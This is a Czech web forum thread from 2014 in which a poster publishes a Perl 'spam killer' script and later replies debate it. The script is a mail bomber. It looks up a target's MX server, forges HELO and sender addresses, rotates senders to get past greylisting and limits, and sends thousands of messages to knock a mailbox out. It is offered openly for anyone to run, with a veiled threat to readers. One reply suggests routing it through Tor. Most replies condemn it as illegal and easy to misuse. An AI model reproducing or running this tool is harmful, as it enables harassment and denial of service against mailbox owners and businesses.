Spam killer

3. 9. 2014 19:19:09

Protože mne pořád vysírají spameři a i konkurence, tak zveřejňuji script pro zničení jakékoliv emailové schránky. Doposud ničím jen schránky opravdových spamerů a nezneužívám jej zatím. Při tom ničení si chci toho hodně ulehčit a tak vznikla verze 3(mám už i 4 a přemýšlím o 5ce. 4 mění libovolně hlavičky emailů. Po přepočítání proměnných si script připraví volné průchozí odesílání a obejde i greylisting a různá omezeni serverů. Hodně komunikuje s napadeným serverem a dotazuje ho. Každých 5minut je schopen na zabezpečeném serveru měnit emailovou adresu a po úpravách obcházet i nastavení spam filtrů. Projde i přes zabezpečené MTA, které hlídají počet odesílaných emailů. Nic se totiž neposílá a script donutí sám napadený server, aby sám emaily odesílal. Stačí jen nainstalovat Perl do počítače, zeditovat script podle návodu a spustit jej.

Dobře važte svá rozhodnutí, jestli mi chcete napsat. Raději zavolejte nebo skončíte jako odstavená schránka na jednom nespecifikovaném mail serveru.

#!/usr/bin/perl -wuse strict;use IO::Socket::INET;use Net::DNS;my $from;my $from_domain = 'mojeit.eu'; #zde doplnit fake domenu ze ktere se odesila email info1@mojeit.eu mela by byt sice fake ale realnamy $to          = 'info@nechcizde.byt'; #email, ktery chceme znicitmy $subject     = 'Precti si to!'; #zadame predmetmy $text_msg    = "Jdi do prdele se spamem!nnJdi do prdele se spamem!"; #txt zpravamy $server_orig;my $quantity = 5000; #pocet zaslanych emailumy $sleep = 5; #zasilat po peti vterinachmy $grey_limit = 600; #u vetsiny serveru je 300 muze byt i 600sec=10minmy @attr = split (/@/,$to) ;my $name = $attr;my $res  = Net::DNS::Resolver->new;my @mx   = mx($res, $name);if (@mx) {my $rr;foreach $rr (@mx) {print "Budu utocit na tento server: ";print $rr->preference, " ", $rr->exchange, "n";$server_orig = $rr->exchange;}} else {die "Nemohu najit MX zaznam pro $name: ", $res->errorstring, " musite editovat server rucnen";}my $forged_from = $server_orig;my $server      = $server_orig;my $msg         = "To: $tonSubject: $subjectnn$text_msg";my $count = 0;my $count2 = 0;my $count3 = 0;my $count4 = 0;my $port        = 25;my $timeout     = 10;while ($count <= $quantity) {sleep($sleep);$count++;print $count2;if ($count2 > $grey_limit) {$count2 = 0;$count3++;}if ($count2 == 0) {$from = '<info'.$count3.'@'.$from_domain.'>';$count4 = $count3 + 1;my $from_grey = '<info'.$count4.'@'.$from_domain.'>';my $sock = IO::Socket::INET->new( PeerAddr => $server,PeerPort => $port,Proto    => 'tcp',Timeout  => $timeout,);unless ( $sock ) {die "ERR - Nemohu se pripojit na $server a port $port";}if ( my $server = <$sock>) {print "Pripojeno: $server";                                                                                                  dialog( $sock,  "HELO $forged_from�15�12" );dialog( $sock,  "mail from: $from_grey�15�12" );dialog( $sock,  "rcpt to: <$to>�15�12" );dialog( $sock,  "DATA�15�12" );dialog( $sock,  "$msg�15�12.�15�12" );dialog( $sock,  "QUIT�15�12" );}else {sleep($grey_limit);}sub dialog_grey {my ( $sock, $send ) = @_;print $sock $send;print "Sent: $send";my $receive = <$sock>;die "Bez odpovedi $send" unless $receive;print "Recv: $receive";}} #zde se odesila predchozi email pro greylisting, na nej je navazana komunikace$count2 = $count2 + $sleep;my $sock = IO::Socket::INET->new( PeerAddr => $server,PeerPort => $port,Proto    => 'tcp',Timeout  => $timeout,);unless ( $sock ) {die "ERR - Nemohu se pripojit na $server a port $port";}if ( my $server = <$sock>) {print "Got Handshake: $server";                                                                                                    dialog( $sock,  "HELO $forged_from�15�12" );dialog( $sock,  "mail from: $from�15�12" );dialog( $sock,  "rcpt to: $to�15�12" );dialog( $sock,  "DATA�15�12" );dialog( $sock,  "$msg�15�12.�15�12" );dialog( $sock,  "QUIT�15�12" );}else {die "Bez odpovedi, uzaviram spojenin";}sub dialog {my ( $sock, $send ) = @_;print $sock $send;print "Sent: $send";my $receive = <$sock>;die "Bez odpovedi $send" unless $receive;print "Recv: $receive";}}

---------- Příspěvek doplněn 03.09.2014 v 19:22 ----------

http://mjeit.eu/utok2.jpg

3. 9. 2014 19:19:09

https://webtrh.cz/diskuse/spam-killer#reply1052207

Orofar

(25 hodnocení)

3. 9. 2014 19:26:01

To by se hodilo používat na všechny WT spammery, kteří se snaží cpát nabídky horem dolem. Hlavně, ať je to zdarma.

3. 9. 2014 19:26:01

https://webtrh.cz/diskuse/spam-killer#reply1052206

Dominique

(5 hodnocení)

3. 9. 2014 19:35:28

přemýšlela jsem o db a php nadstavbě ale ať je to na každého zodpovědnosti z Vás...za vás na sebe právní odpovědnost přenášet nechci ani při donate...raději zveřejním script

3. 9. 2014 19:35:28

https://webtrh.cz/diskuse/spam-killer#reply1052205

Pavel Horáček

(19 hodnocení)

3. 9. 2014 19:38:16

Spam je humus, o tom žádná. Pokud tento script používáš opravdu pouze tak jak píšeš taky ok. ALE ... nezapomeň, že toto vlákno je volně přístupné celému internetu. Kolik se teď najde blbečků, kteří budou odstavovat maily ze srandy, naschvál nebo v zápalu konkurečního boje. Vem si, že někomu chodí objednávky pouze na mail a když mu ho někdo shodí, může přijít o dost peněz ... dát to k soudu atd. :/

3. 9. 2014 19:38:16

https://webtrh.cz/diskuse/spam-killer#reply1052204

tomve

(22 hodnocení)

3. 9. 2014 19:43:52

f*ck logic http://memecrunch.com/meme/1XYQG/this-is-why-aliens-won-t-talk-to-us/image.jpg

---------- Post added 03.09.2014 at 19:47 ----------

tohle je jak dát kudlu mezi děcka a říct - hrajte si

3. 9. 2014 19:43:52

https://webtrh.cz/diskuse/spam-killer#reply1052203

THQL

(3 hodnocení)

3. 9. 2014 19:57:20

Příliš nebezpečné na to aby to bylo takto veřejné.

3. 9. 2014 19:57:20

https://webtrh.cz/diskuse/spam-killer#reply1052202

Václav Dušek

(78 hodnocení)

3. 9. 2014 19:58:56

Super, všichni správci napadených serverů Ti budou vděčni. Jako by nestačil normální spam.

BTW - chápeš že zneužití tohoto scriptu může být trestným činem? Ty asi jo, ale co ty děti, co si budou hrát. Ještě štěstí, že se tomuto útoku dá vcelku jednoduše bránit, myslím.

3. 9. 2014 19:58:56

https://webtrh.cz/diskuse/spam-killer#reply1052201

tomve

(22 hodnocení)

3. 9. 2014 20:00:06

možná, že se milan jen napil a chce zahnát den blbec

3. 9. 2014 20:00:06

https://webtrh.cz/diskuse/spam-killer#reply1052200

Dominique

(5 hodnocení)

3. 9. 2014 20:07:27

no jasně, takovéto scripta píšu normálně pod 2promile :D Pokud mne Tomve chce skrytě urážet, tak vlastně může nic si z toho nedělám

3. 9. 2014 20:07:27

https://webtrh.cz/diskuse/spam-killer#reply1052199

McFly

(4 hodnocení)

3. 9. 2014 20:08:54

Co ten skript dělá? Jak donutí napadený server, aby odesílal nebo jak to autor myslí? :) Nějak to nechápu a to myslím, že RFC znám...

Před 13 lety jsem napsal v Delphi mail bomber, který posílal x zpráv do zadaného cíle, to je něco podobného? Dneska je to zbytečné. :)

3. 9. 2014 20:08:54

https://webtrh.cz/diskuse/spam-killer#reply1052198

Václav Dušek

(78 hodnocení)

3. 9. 2014 20:08:58

1/ smtp odesílače komunikují jen s v vybranými IP adresami

2/ požívá se autorizace

3/ postfix má limit na počet příchozích spojení

4/ pokud si na tebe budu stěžovat tvému providerovi, rád tě odpojí a přijdeš o svou VPSku

5/ kampaň se rozesílá z více IP současně

6/ že mu zablokuješ bounce server, spammera neodradí - pokud vůbec takový server existuje

A jinak to je i na případnou soudní žalobu a ...

3. 9. 2014 20:08:58

https://webtrh.cz/diskuse/spam-killer#reply1052197

McFly

(4 hodnocení)

3. 9. 2014 20:11:29

osobně bych do toho implementoval ještě připojení přes TOR pro anonymizaci IP, a to říkám jako člověk, co nesnáší, když někdo TOR zneužívá k nekalostem ;)

3. 9. 2014 20:11:29

https://webtrh.cz/diskuse/spam-killer#reply1052196

Václav Dušek

(78 hodnocení)

3. 9. 2014 20:16:36

Hmm, ve výsledku, pokud jaso spammer dostanu tisice mailu na jednu adresu, je otazka, zda to nekdo vubec cte. Mazimalne tak automat.

Z meho pohledu hloupost

3. 9. 2014 20:16:36

https://webtrh.cz/diskuse/spam-killer#reply1052195

Dominique

(5 hodnocení)

3. 9. 2014 20:28:12